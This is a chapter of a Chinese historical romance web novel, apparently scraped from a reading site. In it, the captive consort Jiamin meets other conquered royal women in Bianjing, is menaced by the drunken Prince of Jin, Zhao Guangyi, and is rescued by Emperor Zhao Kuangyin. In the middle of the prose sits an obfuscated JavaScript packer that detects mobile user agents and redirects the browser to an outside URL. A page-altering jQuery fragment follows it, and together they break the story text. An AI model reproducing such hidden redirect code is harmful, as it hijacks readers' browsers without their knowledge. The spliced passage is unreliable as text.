他想与她对视,好好看看她的脸,一遍遍在心底大声呐喊:“嘉敏,抬起头,让我看看你——让我看看你——好不好?” 64.落花烟重 经年别离,而今终于不再分隔天涯,可却江山已改物是人非,一句女子亦有家国之思,已将他放在了敌对的位置上,更何况还有好友的惨死。 赵匡胤等了良久也不见她抬头,心也变凉了,撑起帝王威仪缓缓道:“尔等虽为俘虏,然则我大宋朝廷对待归降之人素来待遇优厚,朕今日便授李煜右千牛卫上将军之职,其妻周氏加封郑国夫人。府邸业已建好,日后尔等便安心在汴京居住,朕不会亏待你们的!” 李煜带着嘉敏木然叩拜谢恩,辞了帝阙准备回府,嘉敏却终于不支在朝堂上摔倒。 一只手伸过来将她扶起,嘉敏乍然抬头,那是一张陌生的脸,带着讶异与震惊,还有一丝莫名笑意和令人毛骨悚然的关怀,“夫人小心!” 嘉敏慌忙把手臂收回来,恍若惊弓之鸟一般颤声道:“多谢!” 扶起嘉敏之人乃是晋王赵光义,有了花蕊夫人的前车之鉴,赵匡胤不免忧虑,下令道:“曹将军,人是你带回来的,那就送佛送到西,烦劳卿再亲自将他们送去府邸安置!” 新府邸和其他被灭国的王公宅院都在一处,式样好像是按照江南周府的格局建造,如此用心自惹得嘉敏暗自垂泪。 而周夫人亦是睹物伤怀,到处瞧了瞧,想起周宗在世时很喜欢兰花,就唤来仆婢一起去花市买一盆回来。 意料之外嘉敏这边刚安置下来就接到了邻居已故的前蜀主孟昶之妃妾花蕊夫人徐慧的邀约,请柬措辞甚为雅致,言明了彼此作为被俘后妃的凄凉处境,盼着以后能守望相助,在这繁华却阴冷的汴京城寻得一处安稳的立足之地。 买花回返的周夫人却早在巷口街市听说了些花蕊夫人和晋王赵光义之间不太好的传闻,加上之前窅娘之死,就是晋王手下士兵所为,便想要阻止女儿。 嘉敏思忖道:“坊间传闻未必是真,昔日我在江南时就已听说旧蜀国的花蕊夫人乃是个才貌双全的女子,如今同为天涯畸零客,与她相交说不定日后真能守望相助。” 次日,嘉敏备下江南的翡翠芙蓉糕和荷花酥作为礼物上门拜见,花蕊夫人迎她进门。 两个同样姿容艳丽却性情柔弱的女子几乎一见如故,同来赴宴的还有四位其它被灭了故国的帝女后妃。 六人在提前安排好的位置上坐下,花蕊夫人一一替嘉敏介绍了众姐妹,便请饮酒。 嘉敏不擅饮酒,三杯过后便欲推辞。 却听那南平的高氏公主佩瑶轻笑道:“郑国夫人,你可知道我们这些灭了国的公主妃妾在汴京是什么角色么?全都是给那些皇亲国戚拿来消遣玩乐的物件儿罢了,这饮酒的本事你是非学不可,不然到时候被哪位王爷召进府里,还不知道怎么个狼狈相?” “佩瑶——”花蕊夫人喝止她,蹙眉道:“这些事情还是慢慢和嘉敏妹妹说吧!” 嘉敏茫然不知所措,又想起了前来汴京路上窅娘的遭遇,登觉一阵揪心的疼。 花蕊夫人见状柔声安抚道:“嘉敏妹妹,佩瑶的话确属实情,不过只要不是被那晋王赵光义召进府中,其他人还好应付些。” “赵光义?”嘉敏更觉头疼,这个名字她可是如雷贯耳。 花蕊夫人点头道:“晋王此人淫邪好色心胸狭窄,说句不怕你瞧不起的话,我们这些姐妹无一逃过他的毒手,之所以急着邀你前来,其实就是要你提防他。若出了意外,你那夫君南唐的前国主怕是无力相护……” 她其实知道赵匡胤对嘉敏的情意,据实以告也是想引她去向皇上求救,可还未曾说出口,听得一阵“律律”的勒马声,接着大门被撞开,连同看门的奴仆也被来人一脚踹翻在地。 “晋王——” 一众姐妹皆是花容失色,花蕊夫人犹甚,连杯盏也打翻了,若说遭晋王荼毒最深者,非她莫属。 嘉敏诧异地看着来人,认出正是昨日在朝堂上扶了她一把的那名官员。 虽说是同胞兄弟,可他的模样却半点也不似赵匡胤,长脸薄唇,虽然俊美,却总有几分狠厉相。又或许是因为喝醉了,整个人看起来暴戾异常。 “小美人儿们今日都聚在这里呢!”赵光义醉笑着上前,指着花蕊夫人骂道:“昨晚本王召你到府上伺候,你却推三阻四不肯前来,怎么着?嫌弃本王粗鲁,比不上你那软骨头的死鬼国公丈夫么?”说着又在院中大叫:“孟昶,孟昶给我滚出来,本王要跟你比一比,看看你比本王厉害到哪里去了,惹得夫人不肯前去陪我,偏要在家中陪你?” 孟昶已死,他却还在这里耍酒疯,丝毫没有对逝者的尊重。 花蕊夫人脸色惨白全身发抖,嘉敏瞧着她模样极其可怜,不禁握住她的手。 偏偏此时赵光义又瞧见了她,登时两眼放光,嘿嘿笑道:“小美人儿,我正要去李煜府上找你呢,可真巧,你跑到这里来伺候再好不过了!” 嘉敏心下怕极了,却秀眉紧蹙大着胆子道:“当今皇上与妾乃是故交,请晋王殿下自重,莫再以言语相挑衅!” 赵光义怔了片刻,却是仰头哈哈大笑:“你个小娘们儿居然抬出皇上来压我!皇上日理万机,只怕早把你忘到九霄云外了,还指望他能记你一辈子么?还不乖乖的到本王怀里来,叫本王好好疼疼你!”说着一步步上前,“快过来呀!” 花蕊夫人见他逼近,突然起身将嘉敏护在身后,大声道:“郑国夫人是妾身请上门的客人,晋王想要人陪侍,挑我即可,莫要伤了郑国夫人!” “你这娘们儿气性大,本王喜欢的紧!”赵光义眼神益发淫邪无礼,指着嘉敏道:“可本王今日偏要她不可!” 坐在地上的嘉敏瑟瑟发抖,不自觉将手里的瓷盏捏碎,鲜血立时滴到衣裙上。 此时一个威严无比的声音突然传进来,“你偏要谁不可?” 众人抬眼,见是身穿龙袍的赵匡胤快步走进来,一巴掌将晋王扇翻在地,厉声喝骂:“混账东西,谁准你跑到别人家里来撒野!” 赵光义这才回过神,跪地求饶:“皇……皇上……臣弟喝醉了酒才失了分寸,请皇上恕罪……” 赵匡胤忍住怒气冷冷道:“再不滚,朕剐了你!” 赵光义哪里还敢废话,当下带着奴仆灰溜溜地走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14528896|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 昨日在殿上赵匡胤见嘉敏始终不肯抬头看他,辗转反侧了一晚,决定今日前来探望,也幸好是来了…… 满堂的旧妃与公主立时叩拜皇帝,花蕊夫人瞧见一滴滴的血迹从嘉敏手掌滴落下来,颤声道:“郑国夫人,你的手……” 赵匡胤疾步上前把半跪在地把嘉敏抱住,柔声劝慰:“嘉敏,快松手!” 嘉敏却在他怀中昏厥过去,松开了手中的瓷片,可割痕颇深,血流不止。 赵匡胤看着她鲜血淋漓的手掌眉头紧锁,吩咐道:“快拿金疮药来!” 花蕊夫人立时去房中取来,见皇帝亲自用清水把嘉敏的伤口洗干净,再敷上药包扎好,一众美人相互交换了眼神,似乎都有所感。 尤其花蕊夫人更觉心惊,以赵匡胤对嘉敏之怜爱,倘若她真的在此地遭了晋王轻薄,只怕整个秦国公府都要大祸临头了。 瞧着嘉敏呼吸平稳,赵匡胤的手在她脸颊轻轻一碰触,才缓缓问众人道:“朕今日前来看望嘉敏,听周夫人说被秦国公夫人请到府上来了,遂前来一观,没想到碰见这场景。敢问夫人,晋王缘何会来府上滋事?” 花蕊夫人思虑片刻笑道:“回皇上的话,我等皆是旧国俘虏,而晋王殿下乃是皇亲国戚,肯纡尊降贵到府上来,不算是滋事,我等不胜荣幸!” 这女子越是怨气深重却越是云淡风轻,赵匡胤叹息道:“夫人的话朕听的出来,朕确实未曾料到晋王会有胆量如此胡作非为!” 嘉敏幽幽转醒,捂着头坐起来唤道:“赵哥哥……”却又突然改口:“皇……皇上……” 赵匡胤心下一酸,柔声道:“莫不是头风症又发作了?要不随我进宫,我让太医好好给你瞧瞧。” 嘉敏直摇头,如今的她与赵匡胤之间的隔阂也不知道有多深,反正已无法再像之前那般亲厚,拒绝他好像成了一件轻而易举的事。 花蕊夫人大着胆子提醒:“郑国夫人,晋王今日瞧见了你,怕是日后不会善罢甘休,你不如随皇上进宫,以免将来遭他毒手。” 提到赵光义,嘉敏不禁又瑟瑟发抖,赵匡胤抱她在怀软语安慰:“有赵哥哥在,没有人敢伤害你,你不想进宫也没关系,晋王那边,他敢靠近你一步,朕教他身首异处!” 此刻他尚有些顾念与王鹤儿之间的誓约,眼见发妻身体一日不如一日,若是与嘉敏太过亲近,怕会刺激到她,想着还是派太医前来更妥当些。 他把嘉敏抱回家,又提及派太医前来诊治的事,周夫人自然点头应允,李煜虽然神色怪异,倒也不曾反对。 待起驾回宫,周夫人突然追出来将他拦下,跪求说有要事想要借一步说话。 赵匡胤皱眉,虽然对她颇为嫌恶,可如今时过境迁,眼前之人已经是一个年过半百的老妪,倒也不想再如何为难她,遂下了车辇,两人一起到了僻静处。 周夫人不说话,直接跪倒在地,递上一封文书。 街角无人,风自来花自落。 赵匡胤接过那文书打开一看,登时鲜血冲上脑门冷冷道:“周夫人,你此举何意?”